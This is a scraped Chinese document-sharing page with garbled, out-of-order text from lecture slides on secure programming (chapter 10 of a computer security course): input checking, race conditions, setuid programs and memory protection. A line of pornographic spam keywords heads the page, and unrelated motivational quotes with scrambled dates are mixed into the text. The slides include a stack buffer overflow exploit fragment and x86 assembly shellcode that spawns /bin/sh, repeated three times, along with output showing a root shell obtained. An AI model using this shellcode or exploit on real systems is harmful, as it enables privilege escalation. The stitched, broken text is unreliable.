freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

李鳳華--計算機安全與保密技術(shù)--第十章(文件)

2025-03-13 12:32 上一頁面

下一頁面
 

【正文】 1最具挑戰(zhàn)性的挑戰(zhàn)莫過于提升自我。 二月 2116:52:2716:52Feb2102Feb21p 1越是無能的人,越喜歡挑剔別人的錯兒。 2023/2/2 16:52:2716:52:2702 February 2023p 1空山新雨后,天氣晚來秋。 二月 21二月 2116:52:2716:52:27February 02, 2023p 1意志堅強的人能把世界放在手中像泥塊一樣任意揉捏。 二月 21二月 21Tuesday, February 02, 2023p 很多事情努力了未必有結(jié)果,但是不努力卻什么改變也沒有。 。 二月 2116:52:2716:52Feb2102Feb21p 1故人江海別,幾度隔山川。需要 Kernel支持216。用完后文件即可刪除p問題216。VirtualQueryEx()216。電源掉電后, RAM內(nèi)容還有可能恢復p文件的安全刪除保護內(nèi)存 (1)p鎖住敏感內(nèi)存區(qū):并不容易216。Secret nonce + PRNG: 應用密碼學、 BSAFE216。物理源:各種硬件實現(xiàn)216。 auth[I] = value 0xff。 key = random()。 seed = MD5(a, b)。大多數(shù)人的動作行為是不可預測的216。Race Condition例p目的:216。程序中應仔細檢查每一參數(shù)p尤其是以很高特權(quán)運行的程序p數(shù)據(jù)檢查216。小心 getenv, 可能被用于緩沖區(qū)溢出如何正確處理輸入 (2)p字符串操作類函數(shù) (續(xù) )216。內(nèi)部時鐘216。文件創(chuàng)建模式掩碼其它類型輸入 (3)p子進程從父進程繼承的內(nèi)容 (續(xù) )216。GET ../../pWindows奇怪的目錄名解析C:\TEMP\t1\t2\t3\t4\t5\t6 cd …….C:\TEMP _其它類型輸入 (2)p子進程從父進程繼承的內(nèi)容216。重新排列棧變量( no slowdown) 程序失敗的其它例子p 傳遞參數(shù)到其它進程p 其它類型輸入p Race conditionp 會話密鑰的生成p 內(nèi)存數(shù)據(jù)保護p 最小特權(quán)傳參數(shù)給其它進程的幾種類型pUnix shell scriptspCGI/Perl scriptsp很復雜的應用216。將安全相關(guān)的功能隔離到仔細檢查的代碼內(nèi)p讓棧不可運行216。passwd、 at、 crontab、 pingp普通 rwx之上加上 s位, kernel在載入進程映象時自動將進程有效用戶 /組標識置為映象文件文件屬主 /組p例:216。} 完整的攻擊 hello的程序 (5)tly:~/tttt/tt$ ./test2ESP = bffffcd0Is everything OK? :)Hello 一堆亂碼 /bin/shbash$ _ 得出的結(jié)論p一個程序當沒有很好地檢查邊界條件時可能會受到緩沖區(qū)溢出攻擊p有緩沖區(qū)溢出漏洞的程序當它能以特權(quán)用戶身份運行時,可能讓普通用戶無需經(jīng)過認證就可以獲得系統(tǒng)特權(quán) root exploitpRemote root exploit216。 ptr += strlen(shell_code)。A39。 i 100。 /* Fill in with addresses */ addr_ptr = (unsigned long*)ptr。 int i, ofs。}main(int argc, char** argv){ char* buff。 strcpy(buffer, large_string)。 i++) long_ptr[i] = (long)buffer。 int i。編一小程序,打印出運行時棧頂位置p在同樣環(huán)境下,不同進程之間棧位置距離不會太遠植入代碼如何編寫jmp label2label1: pop esimov [esi+8], esixor eax, eaxmov [esi+7], almov [esi+12], eaxmov al, 0bhmov ebx, esilea ecx, [esi+8]lea edx, [esi+12]int 80hxor ebx, ebxmov eax, ebxinc eaxint 80hlabel2: call label1cmd: db “/bin/sh”, 0植入代碼如何編寫jmp label2label1: pop esimov [esi+8], esixor eax, eaxmov [esi+7], almov [esi+12], eaxmov al, 0bhmov ebx, esilea ecx, [esi+8]lea edx, [esi+12]int 80hxor ebx, ebxmov eax, ebxinc eaxint 80hlabel2: call label1cmd: db “/bin/sh”, 0 esi == cmd植入代碼如何編寫jmp label2label1: pop esimov [esi+8], esixor eax, eaxmov [esi+7], almov [esi+12], eaxmov al, 0bhmov ebx, esilea ecx, [esi+8]lea edx, [esi+12]int 80hxor ebx, ebxmov eax, ebxinc eax
點擊復制文檔內(nèi)容
教學課件相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1